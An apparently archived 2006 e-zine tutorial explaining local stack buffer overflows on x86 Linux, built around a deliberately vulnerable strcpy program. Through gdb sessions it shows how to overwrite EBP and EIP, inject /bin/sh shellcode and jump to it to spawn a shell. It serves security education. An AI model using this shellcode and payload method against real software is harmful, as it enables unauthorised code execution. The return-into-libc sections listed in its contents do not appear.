ZINES — underground e-zine archive source
text size: CRT glow:
~/BRAZILIAN/The Bug Magazine/0x01/0x03_local-stack-overflow
[ --- The Bug! Magazine

                    _____ _              ___               _ 
                   /__   \ |__   ___    / __\_   _  __ _  / \
                     / /\/ '_ \ / _ \  /__\// | | |/ _` |/  /
                    / /  | | | |  __/ / \/  \ |_| | (_| /\_/ 
                    \/   |_| |_|\___| \_____/\__,_|\__, \/   
                                                   |___/     

                      [ M . A . G . A . Z . I . N . E ]


             [ Numero 0x01 <---> Edicao 0x01 <---> Artigo 0x03 ]



.> 23 de Marco de 2006,
.> The Bug! Magazine < staff [at] thebugmagazine [dot] org >





             +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
                 LOCAL STACK OVERFLOW AND RETURN-INTO-LIBC
                            (from GSK project)
             +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+



.> 12 de Marco de 2006,
.> Thyago Silva a.k.a dx/xgc  < xgc [at] gotfault [dot] net >



[ --- Table of Contents 

+     1.    <--->  Objective
+     2.    <--->  Requisites
+     3.    <--->  Introduction to Gotfault Sharing Knowledge (GSK)
+     4.    <--->  Introduction to Buffer Overflow
+       4.1. <->     Memory Sections
+       4.2. <->     Function Calls Process (FCP)
+       4.3. <->     Main Registers of the Stack
+       4.4. <->     Introduction to the Stack Frame
+       4.5. <->     Analysis of Vulnerable Source Code
+       4.6. <->     Getting Start: Overflowing/Controlling/Executing
+     5.    <--->  Conclusion
+     6.    <--->  Objective
+     7.    <--->  Requisites
+     8.    <--->  Introduction to Returning Into Libc
+       8.1. <->     Introduction to System Function 
+       8.2. <->     Analysis of Vulnerable Source Code
+       8.3. <->     Getting Informations
+       8.4. <->     Returning Into System Function 
+       8.5. <->     Setuid Call
+       8.6. <->     Using Wrapper
+       8.7. <->     Using Environment to Small Buffers
+       8.8. <->     Analisys of Exploit Source C Code
+     9.    <--->  Conclusion



[ --- 1. Objective 

Get basic knowledge of memory analysis and be able to control his flow to 
execute arbitrary code.
 
 

[ --- 2. Requisites
 
Basic knowledge of C/PERL programming.
 
 

[ --- 3. Introduction to Gotfault Sharing Knowledge (GSK)
 
GSK was created to interested users on programming security to discuss 
about exploitation techniques under stuff of the selected subject.
The main goal consists on users to share knowledge with each one.
I'll try to pass detailed informations of the selected subject, giving
the chance to users that are just starting. All kind of users are welcome.

 

[ --- 4. Introduction to Buffer Overflow 
 
The principle of exploiting a buffer overflow is to overwrite parts of
memory which aren't supposed to be overwritten by arbitrary input and
making the process execute this code. To see how and where an overflow
takes place, lets take a look at how memory is organized.
 
 

[ --- 4.1. Memory Sections 
 
The processes memory consists of three sections:
 
 - Code segment:  Data, in this segment, are assembler instructions that
                  the processor executes. The code execution is non-linear,
                  it can skip code, jump, and call functions on certain
                  conditions. Therefore, we have a pointer called EIP, or
                  instruction pointer. The address where EIP points to 
                  always contains the code that will be executed next.
 
 - Data segment:  Space for variables and static/dynamic buffers.
 
 - Stack segment: Which is used to pass data(arguments) to functions
                  and as a space for variables of functions. The bottom(start)
                  of the stack usually resides at the very end of the virtual
                  memory of a page, and grows down. The assembler command PUSHL
                  will add to the top of the stack, and POPL will remove one 
		  item from the top of the stack and put it in a register.
 
Process Memory Layout:
 
 
0xc0000000 ---------------------
           |                   |
           | env/argv pointer. |
           |       argc        |
           |-------------------|
           |                   |
           |      stack        |
           |                   |
           |        |          |
           |        |          |
           |        V          |
           /                   /
           \                   \
           |                   |
           |        ^          |
           |        |          |
           |        |          |
           |                   |
           |       heap        |
           |-------------------|
           |        bss        |
           |-------------------|
           | initialized data  |
           |-------------------|
           |       text        |
           |-------------------|
           | shared libraries  |
           |        etc.       |
0x8000000  |-------------------|
 
 

[ --- 4.2. Function Calls Process (FCP) 
 
On a Unix system, a function call may be broken up in three steps:
 
 - Prolog   : The current frame pointer(EBP register) is saved. A frame can be
 	      viewed as a logical unit of the stack, and contains all the
	      elements related to a function. The amount of memory which is
	      necessary for the function is reserved.
 
 - Call     : The function parameters are stored in the stack and the 
	      instruction pointer(EIP register) is saved, in order to know which
              instruction must be considered when the function returns.
 
 - Epilog   : The old stack state is restored(Return).
 
 
 
[ --- 4.3. Main Registers of the Stack 
 
The following registers are important in operation of the stack:
 
 EIP - The extended instruction pointer. When you call a function, this
       pointer is saved on the stack for later use. When the function returns,
       this saved address is used to determine the location of the next
       executed instruction.
 
 ESP - The extended stack pointer. This points to the current position
       on the stack and allows things to be added to and removed from the
       stack using push and pop operations or direct stack pointer 
       manipulations.
 
 EBP - The extended base pointer. This register usually stays the same
       throughout the execution of a function. It serves as a static point for
       referencing stack-based information such as variables and data in a
       function using offsets. This pointer usually points to the top of the
       stack for a function.
 
 
   
[ --- 4.4. Introduction to the Stack Frame 
 
A stack frame is the name given the entire stack section used by a given
function, including all the passed arguments, the saved EIP and potentially
any other saved registers as EBP, and the local function variables.
Previously we focused on the stack. use in holding local variables; now we
will go into the *bigger picture* of the stack.
 
To understand how the stack works in the real, we need some understanding
of the Intel CALL and RET instructions.
 
The CALL instruction makes functions possible. The purpose of this instruction
is to divert processor control to a different part of code while remembering 
where you need to return. To get this goal, a CALL instruction operates like
this:
 
 -  Push address of the next instruction after the call onto the stack. (This
    is where the processor will return to after executing the function)
 -  Jump to the address specified by the call.
 
The RET instruction does the opposite. Its purpose is to return from a
called function to whatever was right after the CALL instruction. The RET
instruction operates like this:
 
 - Pop the stored return address off the stack.
 - Jump to the address popped off the stack.
 
This combination allows code to be jumped to and returned from very
easily, without restricting the nesting of function calls too much.
 
 

[ --- 4.5. Analysis of Vulnerable Source Code 
 
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
int bof(char *string) {
 
  char buffer[256];
 
  strcpy(buffer, string);
 
  return 1;
}
 
int main(int argc, char *argv[]) {
 
  bof(argv[1]);
  printf("Not gonna do it!\n");
 
  return 1;
}
 
We'll now check this source code following all flow of memory to demostrate
what happen with registers and stack area. After all we'll be able to exploit
and execute any code.
 
Let's see instructions inside main function with gdb.

[xgc@trapdown:~]$ gcc --version
gcc (GCC) 3.3.5 (Debian 1:3.3.5-13)
Copyright (C) 2003 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 
[xgc@trapdown:~]$ gcc -o simple_stack simple_stack.c
[xgc@trapdown:~]$ gdb ./simple_stack -q
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) disassemble main
Dump of assembler code for function main:
0x080483e9 <main+0>:    push   %ebp
0x080483ea <main+1>:    mov    %esp,%ebp
0x080483ec <main+3>:    sub    $0x8,%esp
0x080483ef <main+6>:    and    $0xfffffff0,%esp
0x080483f2 <main+9>:    mov    $0x0,%eax
0x080483f7 <main+14>:   sub    %eax,%esp
0x080483f9 <main+16>:   mov    0xc(%ebp),%eax
0x080483fc <main+19>:   add    $0x4,%eax
0x080483ff <main+22>:   mov    (%eax),%eax
0x08048401 <main+24>:   mov    %eax,(%esp)
0x08048404 <main+27>:   call   0x80483c4 <bof>
0x08048409 <main+32>:   movl   $0x8048534,(%esp)
0x08048410 <main+39>:   call   0x80482d8 <_init+56>
0x08048415 <main+44>:   mov    $0x1,%eax
0x0804841a <main+49>:   leave
0x0804841b <main+50>:   ret
0x0804841c <main+51>:   nop
0x0804841d <main+52>:   nop
0x0804841e <main+53>:   nop
0x0804841f <main+54>:   nop
End of assembler dump.
(gdb)
 
I'll explain now what happen with each line.
 
0x080483e9 <main+0>:    push   %ebp
0x080483ea <main+1>:    mov    %esp,%ebp
0x080483ec <main+3>:    sub    $0x8,%esp
 
It's a PROLOG.
First, EIP is saved from the function _init (or _start), that initialize 
this program, which called main().
Old frame pointer is saved(%ebp) and does, from current stack pointer(esp),
the new frame pointer(mov %esp, %ebp).
After gcc-2.9.6 dummy bytes is always set free at functions, in this case 
0x08 bytes.
It's the default process that any function does. 
 
Process Layout at this moment looks like:
 
      |-------------------| --------------------------------+
      | saved EIP         | - from caller(_start) of main() |
      |-------------------|                                 |
      | saved EBP         | - from caller(_start) of main() |
      |-------------------|                                 |
      | 0x08 dummy        |   NEW STACK FRAME               |
      |-------------------| --------------------------------+
 
0x080483f9 <main+16>:   mov    0xc(%ebp),%eax
0x080483fc <main+19>:   add    $0x4,%eax
0x080483ff <main+22>:   mov    (%eax),%eax
0x08048401 <main+24>:   mov    %eax,(%esp)
0x08048404 <main+27>:   call   0x80483c4 <bof>
 
At line main+16, 0xc(%ebp) is moved to EAX register.
This address is vector from argv.
At line main+19, is argv[1] set at EAX register.
At line main+22, argv[1] as pointer, it gets what argv[1] is pointing to.
At line main+24, all content of argv[1] is being moved to stack pointer(%esp).
At line main+27, bof function call is done. Its parameters are piled 
(in reverse order) and the function is invoked.
 
Process Layout at this moment looks like:
 
      |-------------------| --------------------------------+
      | saved EIP         | - from caller(_start) of main() |
      |-------------------|                                 |
      | saved EBP         | - from caller(_start) of main() |
      |-------------------|                                 |
      | 0x08 dummy        |   NEW STACK FRAME               |
      |-------------------| --------------------------------+
      | bof(argv[1])      |
      |-------------------| 
 
0x08048409 <main+32>:   movl   $0x8048534,(%esp)
0x08048410 <main+39>:   call   0x80482d8 <_init+56>
0x08048415 <main+44>:   mov    $0x1,%eax
 
Well, at line main+32, address(0x8048534) of string "Not gonna do it!\n" is 
moved to stack pointer(%esp) and then printf(), at line main+39, is called 
with his argument passed. The instruction mov $0x1, %eax is for return 1.
 
Process Layout at this moment looks like:
 
      |-------------------| --------------------------------+
      | saved EIP         | - from caller(_start) of main() |
      |-------------------|                                 |
      | saved EBP         | - from caller(_start) of main() |
      |-------------------|                                 |
      | 0x08 dummy        |   NEW STACK FRAME               |
      |-------------------| --------------------------------+
      | bof(argv[1])      |
      |-------------------| 
      | printf()          |
      |-------------------| 
      | return 1;         |
      |-------------------| 
 
0x0804841a <main+49>:   leave
0x0804841b <main+50>:   ret

It's a Epilog.
At line main+49, is the leave instruction that does:
 
mov %ebp, %esp <- restores EBP(old frame from _start function).
pop %ebp       <- take off EBP from ESP(old frame) and loads at %ebp (EBP 
		  saved at main). 
 
At line main+50, RET instruction gets what %esp is pointing to and loads, at 
EIP register, this pointed address, so, this address will be executed.
 
Process Layout at this moment looks like:
                        
      |--------------------| --------------------------------+
      | saved EIP          | - from caller(_start) of main() |
      |--------------------|                                 |
      | saved EBP          | - from caller(_start) of main() |
      |--------------------|                                 |
      | 0x08 dummy         |   NEW STACK FRAME               |
      |--------------------| --------------------------------+
      | bof(argv[1])       |
      |--------------------| 
      | printf()           |
      |--------------------| 
      | return 1;          |
      |--------------------| 
      | mov %ebp, %esp     | ---+
      |--------------------|    | - leave instruction
      | pop %ebp           | ---+
      |--------------------|  
      | ret gets (%esp)    | ---+
      |--------------------|    | - ret instruction
      | loads (%esp) @ EIP | ---+
      |--------------------|
 
Now, let's see instructions inside bof function with GDB.
 
(gdb) disassemble bof
Dump of assembler code for function bof:
0x080483c4 <bof+0>:     push   %ebp
0x080483c5 <bof+1>:     mov    %esp,%ebp
0x080483c7 <bof+3>:     sub    $0x118,%esp
0x080483cd <bof+9>:     mov    0x8(%ebp),%eax
0x080483d0 <bof+12>:    mov    %eax,0x4(%esp)
0x080483d4 <bof+16>:    lea    0xfffffef8(%ebp),%eax
0x080483da <bof+22>:    mov    %eax,(%esp)
0x080483dd <bof+25>:    call   0x80482e8 <_init+72>
0x080483e2 <bof+30>:    mov    $0x1,%eax
0x080483e7 <bof+35>:    leave
0x080483e8 <bof+36>:    ret
End of assembler dump.
(gdb)
 
0x080483c4 <bof+0>:     push   %ebp
0x080483c5 <bof+1>:     mov    %esp,%ebp
0x080483c7 <bof+3>:     sub    $0x118,%esp
 
It's a Prolog. 
Again, first, EIP is saved from the main function, that call bof function.
Old frame pointer is saved(%ebp) and does, from current stack pointer(ESP),
the new frame pointer(mov %esp, %ebp).
0x118 bytes are available for local variable buffer.
 
Process Layout at this moment looks like:
 
0xbfffffff                       
     +----> |-------------------| --------------------------------+
     |      | char *string      |  bof()                          |
     |      |                   |                                 |
     |      |-------------------|                                 |
     |      | saved EIP         | - from caller(main) of bof()    |
     |      |-------------------|                                 |
     |      | saved EBP         | - from caller(main) of bof()    |
     |      |-------------------|                                 |
     |      | 0x118b @ buffer[] |   NEW STACK FRAME               |
     |      |-------------------| --------------------------------+
     |      |                   |
     |      |-------------------|
     |      | .text             |
     |      |-------------------|
     +----  | call bof() @ main |
0x08040000  |-------------------|
            |                   |
            |-------------------|
            | shared libraries  |
0x08000000  |-------------------|
 
 
0x080483cd <bof+9>:     mov    0x8(%ebp),%eax
0x080483d0 <bof+12>:    mov    %eax,0x4(%esp)
0x080483d4 <bof+16>:    lea    0xfffffef8(%ebp),%eax
0x080483da <bof+22>:    mov    %eax,(%esp)
0x080483dd <bof+25>:    call   0x80482e8 <_init+72>
 
Function strcpy requires two arguments, the first one is buffer to alocate the
second argument, in this case argv[1]. So, at line bof+9 0x8(%ebp)(argv[1]) is
moved to EAX and at line bof+12, EAX is moved to 0x4(%esp). After, LEA
instruction is activated.
LEA does: loads the efective address from 0xfffffef8(%ebp) to EAX. The
difference of LEA to MOV is that LEA loads address from somewhere to some
register and MOV copies the content of address from somewhere to some
register.
 
Process Layout at this moment looks like:
 
0xbfffffff                       
     +----> |-------------------| --------------------------------+
     |      | char *string      |  bof()                          |
     |      |                   |                                 |
     |      |-------------------|                                 |
     |      | saved EIP         | - from caller(main) of bof()    |
     |      |-------------------|                                 |
     |      | saved EBP         | - from caller(main) of bof()    |
     |      |-------------------|                                 |
     |      | 0x118b @ buffer[] |   NEW STACK FRAME               |
     |      |-------------------| --------------------------------+
     |      | strcpy()          |
     |      |-------------------|
     |      |                   |
     |      |-------------------|
     |      | .text             |
     |      |-------------------|
     +----  | call bof() @ main |
0x08040000  |-------------------|
            |                   |
            |-------------------|
            | shared libraries  |
0x08000000  |-------------------|
 
0x080483e7 <bof+35>:    leave
0x080483e8 <bof+36>:    ret
 
It's a Epilog.
Again, at line bof+35, is the LEAVE instruction that does:
 
mov %ebp, %esp <- restores EBP(old frame from main function).
pop %ebp       <- take off EBP from ESP(old frame) and loads at %ebp
		  (EBP saved at bof). 
 
At line bof+36, RET instruction gets what %esp is pointing to and loads, at
EIP register, this pointed address, so, this address will be executed when
returns to main fucntion and will follow the normal flow even main finishs.
 
Process Layout at this moment looks like:
 
0xbfffffff                       
     +----> |--------------------| --------------------------------+
     |      | char *string       |  bof()                          |
     |      |                    |                                 |
     |      |--------------------|                                 |
     |      | saved EIP          | - from caller(main) of bof()    |
     |      |--------------------|                                 |
     |      | saved EBP          | - from caller(main) of bof()    |
     |      |--------------------|                                 |
     |      | 0x118b @ buffer[]  |   NEW STACK FRAME               |
     |      |--------------------| --------------------------------+
     |      | strcpy()           |
     |      |--------------------|
     |      | return 1;          |
     |      |--------------------|
     |      | mov %ebp,%esp      | ---+
     |      |--------------------|    | - leave instruction
     |      | pop %ebp           | ---+
     |      |--------------------|  
     |      | ret gets (%esp)    | ---+
     |      |--------------------|    | - ret instruction
     |      | loads (%esp) @ EIP | ---+
     |      |--------------------|
     |      |                    |n look her
     |      |--------------------|
     |      | .text              |
     |      |--------------------|
     +----  | call bof() @ main  |
0x08040000  |--------------------|
            |                    |
            |--------------------|
            | shared libraries   |
0x08000000  |--------------------|
 
Let's check execution of the program at gdb.
 
[xgc@trapdown:~]$ gdb ./simple_stack -q
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) disassemble main
Dump of assembler code for function main:
0x080483e9 <main+0>:    push   %ebp
0x080483ea <main+1>:    mov    %esp,%ebp
0x080483ec <main+3>:    sub    $0x8,%esp
0x080483ef <main+6>:    and    $0xfffffff0,%esp
0x080483f2 <main+9>:    mov    $0x0,%eax
0x080483f7 <main+14>:   sub    %eax,%esp
0x080483f9 <main+16>:   mov    0xc(%ebp),%eax
0x080483fc <main+19>:   add    $0x4,%eax
0x080483ff <main+22>:   mov    (%eax),%eax
0x08048401 <main+24>:   mov    %eax,(%esp)
0x08048404 <main+27>:   call   0x80483c4 <bof>
0x08048409 <main+32>:   movl   $0x8048534,(%esp)
0x08048410 <main+39>:   call   0x80482d8 <_init+56>
0x08048415 <main+44>:   mov    $0x1,%eax
0x0804841a <main+49>:   leave
0x0804841b <main+50>:   ret
0x0804841c <main+51>:   nop
0x0804841d <main+52>:   nop
0x0804841e <main+53>:   nop
0x0804841f <main+54>:   nop
End of assembler dump.
(gdb) break *main+24
Breakpoint 1 at 0x8048401
(gdb) run testing...
Starting program: /home/xgc/simple_stack testing...
 
Breakpoint 1, 0x08048401 in main ()
(gdb) x/x $esp+0x04
0xbffffb24:     0xbffffb84
(gdb) x/x 0xbffffb84
0xbffffb84:     0xbffffc60
(gdb) x/s 0xbffffc60
0xbffffc60:      "/home/xgc/simple_stack"
(gdb)
0xbffffc77:      "testing..."
(gdb)
 
As I said about the process to load argv[1] into the stack.
At $esp+0x4 stands argv[0].
 
(gdb) d 1
(gdb) break *main+27
Breakpoint 2 at 0x8048404
(gdb) disassemble bof
Dump of assembler code for function bof:
0x080483c4 <bof+0>:     push   %ebp
0x080483c5 <bof+1>:     mov    %esp,%ebp
0x080483c7 <bof+3>:     sub    $0x118,%esp
0x080483cd <bof+9>:     mov    0x8(%ebp),%eax
0x080483d0 <bof+12>:    mov    %eax,0x4(%esp)
0x080483d4 <bof+16>:    lea    0xfffffef8(%ebp),%eax
0x080483da <bof+22>:    mov    %eax,(%esp)
0x080483dd <bof+25>:    call   0x80482e8 <_init+72>
0x080483e2 <bof+30>:    mov    $0x1,%eax
0x080483e7 <bof+35>:    leave
0x080483e8 <bof+36>:    ret
End of assembler dump.
(gdb)
 
At bof function we can see a problem with strcpy function.
The function strcpy() does not check its boundaries, that means
that it does not check if argv[1] fits into buffer, and just keeps
on copying into buffer until it encounters a NULL string (\0).
 
 

[ --- 4.6. Getting Start: Overflowing/Controlling/Executing 
 
Let's fill the buffer more than it supports.
 
(gdb) run `perl -e 'print "A"x264,"BBBB"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
 
Starting program: /home/xgc/simple_stack `perl -e 'print "A"x264,"BBBB"'`
 
Breakpoint 2, 0x08048404 in main ()
(gdb) c
Continuing.
 
Program received signal SIGSEGV, Segmentation fault.
0x08048400 in main ()
(gdb) i r ebp
ebp            0x42424242       0x42424242
(gdb)
 
Now let's see what happen before segmentation fault:
 
(gdb) disassemble bof
Dump of assembler code for function bof:
0x080483c4 <bof+0>:     push   %ebp
0x080483c5 <bof+1>:     mov    %esp,%ebp
0x080483c7 <bof+3>:     sub    $0x118,%esp
0x080483cd <bof+9>:     mov    0x8(%ebp),%eax
0x080483d0 <bof+12>:    mov    %eax,0x4(%esp)
0x080483d4 <bof+16>:    lea    0xfffffef8(%ebp),%eax
0x080483da <bof+22>:    mov    %eax,(%esp)
0x080483dd <bof+25>:    call   0x80482e8 <_init+72>
0x080483e2 <bof+30>:    mov    $0x1,%eax
0x080483e7 <bof+35>:    leave
0x080483e8 <bof+36>:    ret
End of assembler dump.
(gdb) break *bof+35
Breakpoint 1 at 0x80483e7
(gdb) display/1i $eip
(gdb) run `perl -e 'print "A" x 264, "BBBB"'`
Starting program: /home/xgc/simple_stack `perl -e 'print "A" x 264, "BBBB"'`
 
Breakpoint 1, 0x080483e7 in bof ()
1: x/i $eip  0x80483e7 <bof+35>:        leave
(gdb) i r ebp
ebp            0xbffffa18       0xbffffa18
(gdb) stepi
0x080483e8 in bof ()
1: x/i $eip  0x80483e8 <bof+36>:        ret
(gdb) i r ebp
ebp            0x42424242       0x42424242
(gdb)
 
EBP was overwritten. Segmentation fault have been ocurred at RET, of bof
function, that got what %esp is pointing(leave instruction) to and puts at 
eip register this pointed address. Check out process layout after EBP
controlled:
 
0xbfffffff                       
     +----> |-----------------------| --------------------------------+
     |      | char *string          |  bof()                          |
     |      |                       |                                 |
     |      |-----------------------|                                 |
     |      | saved EIP             | - from caller(main) of bof()    |
     |      |-----------------------|                                 |
     |      | saved EBP(0x42424242) | - from caller(main) of bof()    |
     |      |-----------------------|                                 |
     |      | 0x118b @ buffer[]     |   NEW STACK FRAME               |
     |      |-----------------------| --------------------------------+
     |      | strcpy()              |
     |      |-----------------------|
     |      | return 1;             |
     |      |-----------------------|
     |      | mov %ebp, %esp        | ---+
     |      |-----------------------|    | - leave instruction
     |      | pop %ebp              | ---+
     |      |-----------------------|  
     |      | ret gets (%esp)       | ---+
     |      |-----------------------|    | - ret instruction
     |      | loads (%esp) @ EIP    | ---+
     |      |-----------------------|
     |      |                       |
     |      |-----------------------|
     |      | .text                 |
     |      |-----------------------|
     +----  | call bof() @ main     |
0x08040000  |-----------------------|
            |                       |
            |-----------------------|
            | shared libraries      |
0x08000000  |-----------------------|
 
Let's add more four bytes and run the program again.
 
(gdb) run `perl -e 'print "A"x264,"BBBB","CCCC"'`
Starting program: /home/xgc/simple_stack `perl -e 'print "A"x264,"BBBB","CCCC"'`
 
Breakpoint 2, 0x08048404 in main ()
(gdb) c
Continuing.
 
Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
(gdb) i r ebp eip
ebp            0x42424242       0x42424242
eip            0x43434343       0x43434343
(gdb) 
 
Now let's see what happen before segmentation fault:
 
(gdb) disassemble main
Dump of assembler code for function main:
0x080483e9 <main+0>:    push   %ebp
0x080483ea <main+1>:    mov    %esp,%ebp
0x080483ec <main+3>:    sub    $0x8,%esp
0x080483ef <main+6>:    and    $0xfffffff0,%esp
0x080483f2 <main+9>:    mov    $0x0,%eax
0x080483f7 <main+14>:   sub    %eax,%esp
0x080483f9 <main+16>:   mov    0xc(%ebp),%eax
0x080483fc <main+19>:   add    $0x4,%eax
0x080483ff <main+22>:   mov    (%eax),%eax
0x08048401 <main+24>:   mov    %eax,(%esp)
0x08048404 <main+27>:   call   0x80483c4 <bof>
0x08048409 <main+32>:   movl   $0x8048534,(%esp)
0x08048410 <main+39>:   call   0x80482d8 <_init+56>
0x08048415 <main+44>:   mov    $0x1,%eax
0x0804841a <main+49>:   leave
0x0804841b <main+50>:   ret
0x0804841c <main+51>:   nop
0x0804841d <main+52>:   nop
0x0804841e <main+53>:   nop
0x0804841f <main+54>:   nop
End of assembler dump.
(gdb) break *main+44
Breakpoint 1 at 0x8048415
(gdb) disassemble bof
Dump of assembler code for function bof:
0x080483c4 <bof+0>:     push   %ebp
0x080483c5 <bof+1>:     mov    %esp,%ebp
0x080483c7 <bof+3>:     sub    $0x118,%esp
0x080483cd <bof+9>:     mov    0x8(%ebp),%eax
0x080483d0 <bof+12>:    mov    %eax,0x4(%esp)
0x080483d4 <bof+16>:    lea    0xfffffef8(%ebp),%eax
0x080483da <bof+22>:    mov    %eax,(%esp)
0x080483dd <bof+25>:    call   0x80482e8 <_init+72>
0x080483e2 <bof+30>:    mov    $0x1,%eax
0x080483e7 <bof+35>:    leave
0x080483e8 <bof+36>:    ret
End of assembler dump.
(gdb) break *bof+35
Breakpoint 2 at 0x80483e7
(gdb) display/1i $eip
(gdb) run `perl -e 'print "A" x 264, "BBBB","CCCC"'`
Starting program: /home/xgc/simple_stack `perl -e 'print "A" x 264, "BBBB","CCCC"'`
 
Breakpoint 2, 0x080483e7 in bof ()
1: x/i $eip  0x80483e7 <bof+35>:        leave
(gdb) i r ebp eip
ebp            0xbffffa18       0xbffffa18
eip            0x80483e7        0x80483e7
(gdb) stepi
0x080483e8 in bof ()
1: x/i $eip  0x80483e8 <bof+36>:        ret
(gdb) i r ebp eip
ebp            0x42424242       0x42424242
eip            0x80483e8        0x80483e8
(gdb) stepi
0x43434343 in ?? ()
1: x/i $eip  0x43434343:        add    %al,(%eax)
(gdb) i r ebp eip
ebp            0x42424242       0x42424242
eip            0x43434343       0x43434343
(gdb)
 
EBP and EIP were overwritten. Segmentation fault have been ocurred at RET, of
bof function, that got what %esp is pointing to and puts at eip register this
pointed address, when it Returns to main function Check out process layout
after EIP and EBP controlled:
 
0xbfffffff                       
     +----> |-----------------------| --------------------------------+
     |      | char *string          |  bof()                          |
     |      |                       |                                 |
     |      |-----------------------|                                 |
     |      | saved EIP(0x43434343) | - from caller(main) of bof()    |
     |      |-----------------------|                                 |
     |      | saved EBP(0x42424242) | - from caller(main) of bof()    |
     |      |-----------------------|                                 |
     |      | 0x118b @ buffer[]     |   NEW STACK FRAME               |
     |      |-----------------------| --------------------------------+
     |      | strcpy()              |
     |      |-----------------------|
     |      | return 1;             |
     |      |-----------------------|
     |      | mov %ebp,%esp         | ---+
     |      |-----------------------|    | - leave instruction
     |      | pop %ebp              | ---+
     |      |-----------------------|  
     |      | ret gets (%esp)       | ---+
     |      |-----------------------|    | - ret instruction
     |      | loads (%esp) @ EIP    | ---+
     |      |-----------------------|
     |      |                       |
     |      |-----------------------|
     |      | .text                 |
     |      |-----------------------|
     +----  | call bof() @ main     |
0x08040000  |-----------------------|
            |                       |
            |-----------------------|
            | shared libraries      |
0x08000000  |-----------------------|
 
EIP controlled means that we can now jump to anywhere or execute any
instruction or any code. Our goal here is inject shellcode at stack
memory and makes EIP jumps to there to execute /bin/sh. Let's restart
the process at GDB.
 
[xgc@trapdown:~]$ gdb ./simple_stack -q
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) break *main+27
Breakpoint 1 at 0x8048404
(gdb) display/1i $eip
(gdb) run `perl -e 'print "A"x264,"BBBB","CCCC"'`
Starting program: /home/xgc/simple_stack `perl -e 'print "A"x264,"BBBB","CCCC"'`
 
Breakpoint 1, 0x08048404 in main ()
1: x/i $eip  0x8048404 <main+27>:       call   0x80483c4 <bof>
(gdb) c
Continuing.
 
Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
1: x/i $eip  0x43434343:        add    %al,(%eax)
(gdb)
 
First, we've break at call of bof function just to debug.
I've also set one display to watch EIP as ASM Instruction format and
after we continue to leave the break. Getting informations about main
registers we can see that EBP and EIP were controlled by us. Our code
to execute will be called by shellcode. But try to figure out, to
overwrite EIP we filled the buffer with 272 bytes.
So our malicious buffer will looks like:
 
[################] + [SHELLCODE] + [CCCC] = 272 bytes.
 
[################] = Garbage
[SHELLCODE]        = Code to execute /bin/sh
[CCCC]             = Bytes to overwrite EIP
------------------ = 272 bytes.
 
We'll use this follow shellcode:
 
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
 
This shellcode have 24 bytes and executes /bin/sh.
 
[################] = Garbage                  - 244 bytes
[SHELLCODE]        = Code to execute /bin/sh  -  24 bytes
[CCCC]             = Bytes to overwrite EIP   -   4 bytes
------------------ = 272 bytes.
 
Now we'll back to GDB and build our malicious buffer.
 
(gdb) run `perl -e 'print "A"x244,"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53
\x89\xe1\x99\xb0\x0b\xcd\x80","CCCC" '`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
 
Starting program: /home/xgc/simple_stack `perl -e 'print "A"x244,"\x31\xc0\x50\x68
//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","CCCC"'`
 
Breakpoint 1, 0x08048404 in main ()
1: x/i $eip  0x8048404 <main+27>:       call   0x80483c4 <bof>
(gdb) c
Continuing.
 
Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
1: x/i $eip  0x43434343:        add    %al,(%eax)
(gdb) i r eip
eip            0x43434343       0x43434343
(gdb)
 
As we can see, theory works and EIP still controlled by us.
Well, the 4 bytes to control EIP must be replaced by the address of shellcode
at ESP.
After replaced "CCCC" by the address of shellcode (as we said before, will
points to the next instruction), shellcode will be executed.
All processs looks like:
 
                           +-------------+ 
                           |             |
                           v             |
[################] + [SHELLCODE] + [&SHELLCODE] = 272 bytes.
                                      (EIP)
 
To get address of this shellcode at stack memory we can do a direct jump
to begin of shellcode instructions or use NOP bytes.
 
For direct jump method we need to check where shellcode instructions starts at stack
memory. Let's see:
 
(gdb) x/128xb $esp
          .
          .
          .
0xbffffc48:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbffffc50:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbffffc58:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbffffc60:     0x41    0x41    0x41    0x41    0x31    0xc0    0x50    0x68
0xbffffc68:     0x2f    0x2f    0x73    0x68    0x68    0x2f    0x62    0x69
0xbffffc70:     0x6e    0x89    0xe3    0x50    0x53    0x89    0xe1    0x99
0xbffffc78:     0xb0    0x0b    0xcd    0x80    0x43    0x43    0x43    0x43
 
We can see part of our A's and following the shellcode and to finishs "CCCC".
So, shellcode address is at 0xbffffc64.
Now we need to add this address inside of our malicious buffer, in little
endian format, and re-execute the program.
 
Backing to GDB again.
 
(gdb) run `perl -e 'print "A"x244,"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53
\x89\xe1\x99\xb0\x0b\xcd\x80","\x64\xfc\xff\xbf" '`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
 
Starting program: /home/xgc/simple_stack `perl -e 'print "A"x244,"\x31\xc0\x50\x68
//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\x64\xfc\xff\xbf"'`
 
Breakpoint 1, 0x08048404 in main ()
1: x/i $eip  0x8048404 <main+27>:       call   0x80483c4 <bof>
(gdb) c
Continuing.
 
Program received signal SIGTRAP, Trace/breakpoint trap.
0x40000c20 in ?? () from /lib/ld-linux.so.2
1: x/i $eip  0x40000c20 <completed.1+939226576>:        mov    %esp,%eax
(gdb) c
Continuing.
sh-2.05b$
 
Our shellcode was sucessfuly executed.
 
